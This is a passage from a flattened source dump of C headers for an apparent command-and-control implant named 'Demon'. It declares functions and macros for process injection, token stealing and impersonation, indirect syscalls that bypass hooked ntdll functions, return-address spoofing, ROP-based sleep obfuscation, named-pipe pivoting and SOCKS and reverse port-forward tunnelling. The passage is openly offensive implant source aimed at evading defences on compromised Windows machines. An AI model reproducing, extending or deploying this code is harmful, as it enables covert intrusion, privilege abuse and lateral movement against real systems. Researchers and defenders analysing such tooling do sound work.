String1, LPWSTR String2 ); INT StringNCompareW( LPWSTR String1, LPWSTR String2, INT Length ); INT StringNCompareIW( LPWSTR String1, LPWSTR String2, INT Length ); PCHAR StringCopyA( PCHAR String1, PCHAR String2 ); PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2); SIZE_T StringLengthA( LPCSTR String ); SIZE_T StringLengthW( LPCWSTR String ); PCHAR StringConcatA(PCHAR String, PCHAR String2); PWCHAR StringConcatW(PWCHAR String, PWCHAR String2); PCHAR StringTokenA(PCHAR String, CONST PCHAR Delim); LPWSTR WcsStr( PWCHAR String, PWCHAR String2 ); LPWSTR WcsIStr( PWCHAR String, PWCHAR String2 ); INT MemCompare( PVOID s1, PVOID s2, INT len ); UINT64 GetSystemFileTime( ); BYTE HideChar( BYTE C ); SIZE_T WCharStringToCharString( PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed ); SIZE_T CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ); #endif ================================================ FILE: payloads/Demon/include/core/ObjectApi.h ================================================ #ifndef DEMON_OBJECTAPI_H #define DEMON_OBJECTAPI_H #include typedef struct { UINT_PTR NameHash; PVOID Pointer; } COFFAPIFUNC; extern COFFAPIFUNC BeaconApi[]; extern DWORD BeaconApiCounter; extern COFFAPIFUNC LdrApi[]; extern COFFAPIFUNC NtApi[]; #define CALLBACK_OUTPUT 0x0 #define CALLBACK_OUTPUT_OEM 0x1e #define CALLBACK_ERROR 0x0d #define CALLBACK_OUTPUT_UTF8 0x20 typedef struct { PCHAR original; /* the original buffer [so we can free it] */ PCHAR buffer; /* current pointer into our buffer */ INT length; /* remaining length of data */ INT size; /* total size of this buffer */ } datap, *PDATA, *PFORMAT; typedef struct { char * ptr; size_t size; } HEAP_RECORD; #define MASK_SIZE 13 typedef struct { char * sleep_mask_ptr; DWORD sleep_mask_text_size; DWORD sleep_mask_total_size; char * beacon_ptr; DWORD * sections; HEAP_RECORD * heap_records; char mask[MASK_SIZE]; } BEACON_INFO; #define DATA_STORE_TYPE_EMPTY 0 #define DATA_STORE_TYPE_GENERAL_FILE 1 typedef struct { int type; DWORD64 hash; BOOL masked; char* buffer; size_t length; } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; VOID BeaconDataParse( PDATA parser, PCHAR buffer, INT size ); INT BeaconDataInt( PDATA parser ); SHORT BeaconDataShort( PDATA parser ); INT BeaconDataLength( PDATA parser ); PCHAR BeaconDataExtract( PDATA parser, PINT size ); VOID BeaconFormatAlloc( PFORMAT format, INT maxsz ); VOID BeaconFormatReset( PFORMAT format ); VOID BeaconFormatFree( PFORMAT format ); VOID BeaconFormatAppend( PFORMAT format, PCHAR text, INT len ); VOID BeaconFormatPrintf( PFORMAT format, PCHAR fmt, ... ); PCHAR BeaconFormatToString( PFORMAT format, PINT size ); VOID BeaconFormatInt( PFORMAT format, INT value ); VOID BeaconPrintf( INT Type, PCHAR fmt, ... ); VOID BeaconOutput( INT Type, PCHAR data, INT len ); /* Token Functions */ BOOL BeaconUseToken( HANDLE token ); BOOL BeaconIsAdmin(); /* Spawn+Inject Functions */ VOID BeaconGetSpawnTo( BOOL x86, PCHAR buffer, INT length ); BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo ); VOID BeaconInjectProcess( HANDLE hProc, INT pid, PCHAR payload, INT p_len, INT p_offset, PCHAR arg, INT a_len ); VOID BeaconInjectTemporaryProcess( PROCESS_INFORMATION * pInfo, PCHAR payload, INT p_len, INT p_offset, PCHAR arg, INT a_len ); VOID BeaconCleanupProcess( PROCESS_INFORMATION* pInfo ); /* Utility Functions */ BOOL toWideChar( PCHAR src, PWCHAR dst, INT max ); UINT32 swap_endianess( UINT32 indata ); BOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID ); VOID BeaconInformation(BEACON_INFO * info); BOOL BeaconAddValue(const char * key, void * ptr); PVOID BeaconGetValue(const char * key); BOOL BeaconRemoveValue(const char * key); PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index); VOID BeaconDataStoreProtectItem(SIZE_T index); VOID BeaconDataStoreUnprotectItem(SIZE_T index); SIZE_T BeaconDataStoreMaxEntries(); /* Beacon User Data functions */ PCHAR BeaconGetCustomUserData(); #endif ================================================ FILE: payloads/Demon/include/core/Package.h ================================================ #ifndef CALLBACK_PACKAGE_H #define CALLBACK_PACKAGE_H #include #define DEMON_MAX_REQUEST_LENGTH 0x300000 // 3 MiB typedef struct _PACKAGE { UINT32 RequestID; UINT32 CommandID; PVOID Buffer; SIZE_T Length; BOOL Encrypt; BOOL Destroy; /* destroy this package after Transmit */ BOOL Included; struct _PACKAGE* Next; } PACKAGE, *PPACKAGE; /* Package generator */ PPACKAGE PackageCreate( UINT32 CommandID ); PPACKAGE PackageCreateWithMetaData( UINT32 CommandID ); PPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID ); /* PackageAddInt32 * package => pointer to package response struct * dataInt => unsigned 32-bit integer data to add to the response * Description: Add unsigned 32-bit integer to the response buffer */ VOID PackageAddInt32( PPACKAGE package, UINT32 iData ); VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt ); VOID PackageAddBool( _Inout_ PPACKAGE Package, IN BOOLEAN Data ); VOID PackageAddPtr( PPACKAGE Package, PVOID pointer ); // PackageAddBytes VOID PackageAddBytes( PPACKAGE package, PBYTE data, SIZE_T dataSize ); VOID PackageAddString( PPACKAGE package, PCHAR data ); VOID PackageAddWString( PPACKAGE package, PWCHAR data ); // PackageAddBytes VOID PackageAddPad( PPACKAGE package, PCHAR data, SIZE_T dataSize ); // PackageDestroy VOID PackageDestroy( PPACKAGE package ); // PackageTransmit BOOL PackageTransmitNow( PPACKAGE Package, PVOID* Response, PSIZE_T Size ); // PackageQueue VOID PackageTransmit( IN PPACKAGE Package ); // PackageQueue BOOL PackageTransmitAll( PVOID* Response, PSIZE_T Size ); VOID PackageTransmitError( UINT32 CommandID, UINT32 ErrorCode ); #define PACKAGE_ERROR_WIN32 PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); #define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( s ) ); #endif ================================================ FILE: payloads/Demon/include/core/Parser.h ================================================ #ifndef DEMON_PARSER_H #define DEMON_PARSER_H #include typedef struct { PCHAR Original; PCHAR Buffer; UINT32 Size; UINT32 Length; UINT32 TaskID; BOOL Endian; } PARSER, *PPARSER; VOID ParserNew( PPARSER parser, PBYTE buffer, UINT32 size ); VOID ParserDecrypt( PPARSER parser, PBYTE Key, PBYTE IV ); INT16 ParserGetInt16( PPARSER parser ); BYTE ParserGetByte( PPARSER parser ); INT ParserGetInt32( PPARSER parser ); INT64 ParserGetInt64( PPARSER parser ); BOOL ParserGetBool( PPARSER parser ); PBYTE ParserGetBytes( PPARSER parser, PUINT32 size ); PCHAR ParserGetString( PPARSER parser, PUINT32 size ); PWCHAR ParserGetWString( PPARSER parser, PUINT32 size ); VOID ParserDestroy( PPARSER Parser ); #endif //DEMON_PARSER_H ================================================ FILE: payloads/Demon/include/core/Pivot.h ================================================ #ifndef DEMON_PIVOT_H #define DEMON_PIVOT_H #include #define MAX_SMB_PACKETS_PER_LOOP 30 typedef struct _PIVOT_DATA { UINT32 DemonID; BUFFER PipeName; HANDLE Handle; struct _PIVOT_DATA* Next; } PIVOT_DATA, *PPIVOT_DATA; BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ); BOOL PivotRemove( DWORD DemonId ); DWORD PivotCount(); PPIVOT_DATA PivotGet( DWORD AgentID ); UINT32 PivotParseDemonID( PVOID Response, SIZE_T Size ); VOID PivotPush(); #endif ================================================ FILE: payloads/Demon/include/core/Process.h ================================================ #ifndef DEMON_PROCESS_H #define DEMON_PROCESS_H #endif //DEMON_PROCESS_H ================================================ FILE: payloads/Demon/include/core/Runtime.h ================================================ #ifndef DEMON_RUNTIME_H #define DEMON_RUNTIME_H #include BOOL RtAdvapi32( VOID ); BOOL RtMscoree( VOID ); BOOL RtOleaut32( VOID ); BOOL RtUser32( VOID ); BOOL RtShell32( VOID ); BOOL RtMsvcrt( VOID ); BOOL RtIphlpapi( VOID ); BOOL RtGdi32( VOID ); BOOL RtNetApi32( VOID ); BOOL RtWs2_32( VOID ); BOOL RtSspicli( VOID ); BOOL RtAmsi( VOID ); #ifdef TRANSPORT_HTTP BOOL RtWinHttp( VOID ); #endif #endif ================================================ FILE: payloads/Demon/include/core/SleepObf.h ================================================ #ifndef DEMON_SLEEPOBF_H #define DEMON_SLEEPOBF_H #include #define SLEEPOBF_NO_OBF 0x0 #define SLEEPOBF_EKKO 0x1 #define SLEEPOBF_ZILEAN 0x2 #define SLEEPOBF_FOLIAGE 0x3 #define SLEEPOBF_BYPASS_NONE 0 #define SLEEPOBF_BYPASS_JMPRAX 0x1 #define SLEEPOBF_BYPASS_JMPRBX 0x2 #define OBF_JMP( i, p ) \ if ( JmpBypass == SLEEPOBF_BYPASS_JMPRAX ) { \ Rop[ i ].Rax = U_PTR( p ); \ } if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { \ Rop[ i ].Rbx = U_PTR( & p ); \ } else { \ Rop[ i ].Rip = U_PTR( p ); \ } typedef struct { DWORD Length; DWORD MaximumLength; PVOID Buffer; } USTRING; typedef struct _SLEEP_PARAM { UINT32 TimeOut; PVOID Master; PVOID Slave; } SLEEP_PARAM, *PSLEEP_PARAM; VOID SleepObf( ); #endif ================================================ FILE: payloads/Demon/include/core/Socket.h ================================================ #include #define SOCKET_TYPE_NONE 0x0 #define SOCKET_TYPE_REVERSE_PORTFWD 0x1 #define SOCKET_TYPE_REVERSE_PROXY 0x2 #define SOCKET_TYPE_CLIENT 0x3 #define SOCKET_COMMAND_RPORTFWD_ADD 0x0 #define SOCKET_COMMAND_RPORTFWD_ADDLCL 0x1 #define SOCKET_COMMAND_RPORTFWD_LIST 0x2 #define SOCKET_COMMAND_RPORTFWD_CLEAR 0x3 #define SOCKET_COMMAND_RPORTFWD_REMOVE 0x4 #define SOCKET_COMMAND_SOCKSPROXY_ADD 0x5 #define SOCKET_COMMAND_SOCKSPROXY_LIST 0x6 #define SOCKET_COMMAND_SOCKSPROXY_REMOVE 0x7 #define SOCKET_COMMAND_SOCKSPROXY_CLEAR 0x8 #define SOCKET_COMMAND_OPEN 0x10 #define SOCKET_COMMAND_READ 0x11 #define SOCKET_COMMAND_WRITE 0x12 #define SOCKET_COMMAND_CLOSE 0x13 #define SOCKET_COMMAND_CONNECT 0x14 /* Errors */ #define SOCKET_ERROR_ALREADY_BOUND 0x1 typedef struct sockaddr_in6 { ADDRESS_FAMILY sin6_family; USHORT sin6_port; ULONG sin6_flowinfo; IN6_ADDR sin6_addr; union { ULONG sin6_scope_id; SCOPE_ID sin6_scope_struct; }; } SOCKADDR_IN6_LH, *PSOCKADDR_IN6_LH, *LPSOCKADDR_IN6_LH; typedef struct _SOCKET_DATA { DWORD ID; DWORD ParentID; SOCKET Socket; /* what kind of socket this is */ DWORD Type; /* Is marked to be removed? */ BOOL ShouldRemove; /* Bind Host and Port data */ DWORD IPv4; PBYTE IPv6; DWORD LclPort; /* Forward Host and Port data */ DWORD FwdAddr; DWORD FwdPort; /* pointer to the next Socket data */ struct _SOCKET_DATA* Next; } SOCKET_DATA, *PSOCKET_DATA; /*! * Initiates the use of the Winsock DLL. * This is needed for Socks5 and HTTP(S) agents. * @return TRUE or FALSE */ BOOL InitWSA( VOID ); /*! * Create a new socket and insert it into the linked list. * if Type param is not SOCKET_TYPE_NONE then it is going to bind * to the specified Address and Port. * @param Socket * @param Type * @param UseIpv4 * @param IPv4 * @param IPv6 * @param LclPort * @param FwdAddr * @param FwdPort * @param ParentID * @return SocketData object pointer */ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PBYTE IPv6, DWORD LclPort, DWORD FwdAddr, DWORD FwdPort, DWORD ParentID ); /* Check for new connections, read everything from the sockets and or close "dead" sockets */ VOID SocketPush(); /*! * Query the IPv4 from the specified domain * @param Domain * @return IPv4 address */ DWORD DnsQueryIPv4( LPSTR Domain ); /*! * Query the IPv6 from the specified domain * @param Domain * @return IPv6 address */ PBYTE DnsQueryIPv6( LPSTR Domain ); ================================================ FILE: payloads/Demon/include/core/Spoof.h ================================================ #ifndef DEMON_SPOOF_H #define DEMON_SPOOF_H #include // NOTE: this code is taken from AceLdr by kyleavery. So huge credit goes to him. https://github.com/kyleavery/AceLdr #if _WIN64 typedef struct { PVOID Trampoline; PVOID Function; PVOID Rbx; } PRM, *PPRM; static ULONG_PTR Spoof(); #define SPOOF_X( function, module, size ) SpoofRetAddr( function, module, size, NULL, NULL, NULL, NULL, NULL, NULL, NULL ) #define SPOOF_A( function, module, size, a ) SpoofRetAddr( function, module, size, a, NULL, NULL, NULL, NULL, NULL, NULL, NULL ) #define SPOOF_B( function, module, size, a, b ) SpoofRetAddr( function, module, size, a, b, NULL, NULL, NULL, NULL, NULL, NULL ) #define SPOOF_C( function, module, size, a, b, c ) SpoofRetAddr( function, module, size, a, b, c, NULL, NULL, NULL, NULL, NULL ) #define SPOOF_D( function, module, size, a, b, c, d ) SpoofRetAddr( function, module, size, a, b, c, d, NULL, NULL, NULL, NULL ) #define SPOOF_E( function, module, size, a, b, c, d, e ) SpoofRetAddr( function, module, size, a, b, c, d, e, NULL, NULL, NULL ) #define SPOOF_F( function, module, size, a, b, c, d, e, f ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, NULL, NULL ) #define SPOOF_G( function, module, size, a, b, c, d, e, f, g ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, g, NULL ) #define SPOOF_H( function, module, size, a, b, c, d, e, f, g, h ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, g, h ) #define SETUP_ARGS(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12, ...) arg12 #define SPOOF_MACRO_CHOOSER(...) SETUP_ARGS(__VA_ARGS__, SPOOF_H, SPOOF_G, SPOOF_F, SPOOF_E, SPOOF_D, SPOOF_C, SPOOF_B, SPOOF_A, SPOOF_X, ) #define SpoofFunc(...) SPOOF_MACRO_CHOOSER(__VA_ARGS__)(__VA_ARGS__) PVOID SpoofRetAddr( _In_ PVOID Module, _In_ ULONG Size, _In_ HANDLE Function, _Inout_ PVOID a, _Inout_ PVOID b, _Inout_ PVOID c, _Inout_ PVOID d, _Inout_ PVOID e, _Inout_ PVOID f, _Inout_ PVOID g, _Inout_ PVOID h ); #endif #endif ================================================ FILE: payloads/Demon/include/core/SysNative.h ================================================ #ifndef DEMON_SYSNATIVE_H #define DEMON_SYSNATIVE_H #include #include /* define the OPT param option */ #ifndef OPT #define OPT #endif #define SYSCALL_INVOKE( SYS_NAME, ... ) \ if ( Instance->Config.Implant.SysIndirect && Instance->Syscall.SysAddress && Instance->Syscall.SYS_NAME ) { \ SysConfig.Ssn = Instance->Syscall.SYS_NAME; \ SysConfig.Adr = Instance->Syscall.SysAddress; \ SysSetConfig( &SysConfig ); \ NtStatus = SysInvoke( __VA_ARGS__ ); \ } else { \ NtStatus = Instance->Win32.SYS_NAME( __VA_ARGS__ ); \ } \ PRINTF( "%s( ... ) = %08x\n", #SYS_NAME, NtStatus ) NTSTATUS NTAPI SysNtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPT PCLIENT_ID ClientId ); NTSTATUS NTAPI SysNtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI SysNtOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPT PCLIENT_ID ClientId ); NTSTATUS NTAPI SysNtTerminateProcess( IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI SysNtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI SysNtDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI SysNtQueueApcThread( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, IN OPT PVOID ApcArgument1, IN OPT PVOID ApcArgument2, IN OPT PVOID ApcArgument3 ); NTSTATUS NTAPI SysNtSuspendThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ); NTSTATUS NTAPI SysNtResumeThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ); NTSTATUS NTAPI SysNtCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN OPT POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSTATUS NTAPI SysNtCreateThreadEx( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, IN PVOID lpBytesBuffer ); NTSTATUS NTAPI SysNtDuplicateObject( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN OPT HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ); NTSTATUS NTAPI SysNtGetContextThread ( IN HANDLE ThreadHandle, IN OUT PCONTEXT ThreadContext ); NTSTATUS NTAPI SysNtSetContextThread ( IN HANDLE ThreadHandle, IN OUT PCONTEXT ThreadContext ); NTSTATUS NTAPI SysNtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPT PULONG ReturnLength ); NTSTATUS NTAPI SysNtQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT OPT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPT PULONG ReturnLength ); NTSTATUS NTAPI SysNtWaitForSingleObject( IN HANDLE Handle, IN BOOLEAN Alertable, IN OPT PLARGE_INTEGER Timeout ); NTSTATUS NTAPI SysNtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NTSTATUS NTAPI SysNtWriteVirtualMemory ( IN HANDLE ProcessHandle, IN OPT PVOID BaseAddress, IN CONST VOID* Buffer, IN SIZE_T BufferSize, OUT OPT PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI SysNtFreeVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG FreeType ); NTSTATUS NTAPI SysNtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSTATUS NTAPI SysNtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); NTSTATUS NTAPI SysNtReadVirtualMemory ( IN HANDLE ProcessHandle, IN OPT PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPT PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI SysNtTerminateThread( IN OPT HANDLE ThreadHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI SysNtAlertResumeThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ); NTSTATUS NTAPI SysNtSignalAndWaitForSingleObject( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, IN OPT PLARGE_INTEGER Timeout ); NTSTATUS NTAPI SysNtQueryVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPT PSIZE_T ReturnLength ); NTSTATUS NTAPI SysNtQueryInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI SysNtQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT OPT PULONG ReturnLength ); NTSTATUS NTAPI SysNtQueryObject( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI SysNtClose ( IN HANDLE Handle ); NTSTATUS NTAPI SysNtSetInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); NTSTATUS NTAPI SysNtSetInformationVirtualMemory( IN HANDLE ProcessHandle, IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, IN ULONG_PTR NumberOfEntries, IN PMEMORY_RANGE_ENTRY VirtualAddresses, IN PVOID VmInformation, IN ULONG VmInformationLength ); NTSTATUS NTAPI SysNtGetNextThread( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle ); #endif // DEMON_SYSNATIVE_H ================================================ FILE: payloads/Demon/include/core/Syscalls.h ================================================ #ifndef DEMON_SYSCALLS_H #define DEMON_SYSCALLS_H #include #include /* Syscall functions */ #define SYS_ASM_RET 0xC3 #define SYS_RANGE 0x1E #if _WIN64 #define SYSCALL_ASM 0x050F #define SSN_OFFSET_1 0x4 #define SSN_OFFSET_2 0x5 #else #define SYSCALL_ASM 0x340f #define SSN_OFFSET_1 0x1 #define SSN_OFFSET_2 0x2 #endif #define SYS_EXTRACT( NtName ) \ if ( Instance->Win32.NtName ) { \ SysExtract( \ Instance->Win32.NtName, \ TRUE, \ &Instance->Syscall.NtName, \ NULL \ ); \ PRINTF( "Extracted \"%s\": [Ssn: %x] Ptr:[%p]\n", #NtName, Instance->Syscall.NtName, Instance->Win32.NtName ) \ } typedef struct _SYS_CONFIG { PVOID Adr; /* indirect syscall instruction address */ WORD Ssn; /* syscall service number */ } SYS_CONFIG, *PSYS_CONFIG; BOOL SysInitialize( IN PVOID Ntdll ); BOOL SysExtract( IN PVOID Function, IN BOOL ResolveHooked, OUT PWORD Ssn, OUT PVOID* Addr ); BOOL FindSsnOfHookedSyscall( IN PVOID Function, OUT PWORD Ssn ); VOID SysSetConfig( IN PSYS_CONFIG Config ); NTSTATUS SysInvoke( _Inout_ /* Args... */ ); BOOL IsWoW64(); #endif ================================================ FILE: payloads/Demon/include/core/Thread.h ================================================ #ifndef DEMON_THREAD_H #define DEMON_THREAD_H #include #include /* thread execution methods */ #define THREAD_METHOD_DEFAULT 0 #define THREAD_METHOD_CREATEREMOTETHREAD 1 #define THREAD_METHOD_NTCREATEHREADEX 2 #define THREAD_METHOD_NTQUEUEAPCTHREAD 3 #if _M_IX86 // Definitions used for running native x64 code from a wow64 process (see executex64.asm) typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); ULONG_PTR ExecuteX64( PVOID Function, PVOID Context ); ULONG_PTR RemoteThreadX64( VOID ); // The context used for injection via migrate_via_remotethread_wow64 typedef struct _WOW64CONTEXT { union { HANDLE hProcess; BYTE bPadding2[8]; } h; union { LPVOID lpStartAddress; BYTE bPadding1[8]; } s; union { LPVOID lpParameter; BYTE bPadding2[8]; } p; union { HANDLE hThread; BYTE bPadding2[8]; } t; } WOW64CONTEXT, * LPWOW64CONTEXT; #endif BOOL ThreadQueryTib( IN PVOID Adr, OUT PNT_TIB Tib ); HANDLE ThreadCreateWoW64( IN BYTE Method, IN HANDLE Process, IN PVOID Entry, IN PVOID Arg ); HANDLE ThreadCreate( IN BYTE Method, IN HANDLE Process, IN BOOL x64, IN PVOID Entry, IN PVOID Arg, OUT PDWORD ThreadId ); #endif //DEMON_THREAD_H ================================================ FILE: payloads/Demon/include/core/Token.h ================================================ #ifndef DEMON_TOKEN_H #define DEMON_TOKEN_H #include #include #define TOKEN_TYPE_STOLEN 0x1 #define TOKEN_TYPE_MAKE_NETWORK 0x2 #define TOKEN_OWNER_FLAG_DEFAULT 0x0 /* query domain/user */ #define TOKEN_OWNER_FLAG_USER 0x1 /* query user only */ #define TOKEN_OWNER_FLAG_DOMAIN 0x2 /* query domain only */ #define MAX_PROCESSES 5000 #define BUF_SIZE 4096 #define MAX_USERNAME 512 #define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) #ifndef ALIGN_UP_TYPE #define ALIGN_UP_TYPE(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1)) #endif #ifndef ALIGN_UP #define ALIGN_UP(Address, Type) ALIGN_UP_TYPE(Address, sizeof(Type)) #endif #define ObjectTypesInformation 3 #define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION)\ RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(ULONG), ULONG_PTR)) #define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION)\ RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + \ ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR)) typedef struct _PROCESS_LIST { ULONG Count; ULONG ProcessId[MAX_PROCESSES]; } PROCESS_LIST, *PPROCESS_LIST; typedef struct _USER_TOKEN_DATA { WCHAR username[MAX_USERNAME]; DWORD dwProcessID; HANDLE localHandle; DWORD integrity_level; DWORD impersonation_level; DWORD TokenType; } USER_TOKEN_DATA, *PUSER_TOKEN_DATA; typedef struct _OBJECT_TYPE_INFORMATION_V2 { UNICODE_STRING TypeName; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG TotalPagedPoolUsage; ULONG TotalNonPagedPoolUsage; ULONG TotalNamePoolUsage; ULONG TotalHandleTableUsage; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; ULONG HighWaterPagedPoolUsage; ULONG HighWaterNonPagedPoolUsage; ULONG HighWaterNamePoolUsage; ULONG HighWaterHandleTableUsage; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; UCHAR TypeIndex; CHAR ReservedByte; ULONG PoolType; ULONG DefaultPagedPoolCharge; ULONG DefaultNonPagedPoolCharge; } OBJECT_TYPE_INFORMATION_V2, * POBJECT_TYPE_INFORMATION_V2; /* use union for STOLEN and MAKE tokens */ typedef struct _TOKEN_LIST_DATA { HANDLE Handle; LPWSTR DomainUser; DWORD dwProcessID; SHORT Type; // Make data LPWSTR lpUser; LPWSTR lpPassword; LPWSTR lpDomain; struct _TOKEN_LIST_DATA* NextToken; } TOKEN_LIST_DATA, *PTOKEN_LIST_DATA ; typedef SECURITY_IMPERSONATION_LEVEL SEC_IMP_LEVEL; /* Token Object Functions */ HANDLE TokenCurrentHandle( VOID ); BOOL TokenElevated( IN HANDLE Token ); BOOL TokenSetPrivilege( IN LPSTR Privilege, IN BOOL Enable ); BOOL TokenSetSeDebugPriv( IN BOOL Enable ); BOOL TokenSetSeImpersonatePriv( IN BOOL Enable ); BOOL TokenDuplicate( IN HANDLE TokenOriginal, IN DWORD Access, IN SEC_IMP_LEVEL ImpersonateLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE TokenNew ); BOOL TokenRevSelf( VOID ); BOOL TokenQueryOwner( IN HANDLE Token, OUT PBUFFER UserDomain, IN DWORD Flags ); /* Token Vault Functions */ DWORD TokenAdd( IN HANDLE hToken, IN LPWSTR DomainUser, IN SHORT Type, IN DWORD dwProcessID, IN LPWSTR User, IN LPWSTR Domain, IN LPWSTR Password ); BOOL TokenRemove( IN DWORD TokenID ); BOOL SysDuplicateTokenEx( IN HANDLE ExistingTokenHandle, IN DWORD dwDesiredAccess, IN LPSECURITY_ATTRIBUTES lpTokenAttributes OPTIONAL, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE DuplicateTokenHandle); HANDLE TokenSteal( IN DWORD ProcessID, IN HANDLE TargetHandle ); HANDLE TokenMake( IN LPWSTR User, IN LPWSTR Password, IN LPWSTR Domain, IN DWORD LogonType ); PTOKEN_LIST_DATA TokenGet( IN DWORD TokenID ); VOID TokenClear( VOID ); BOOL TokenImpersonate( IN BOOL Impersonate ); BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens ); BOOL ImpersonateTokenFromVault( IN DWORD TokenID ); BOOL ImpersonateTokenInStore( IN PTOKEN_LIST_DATA 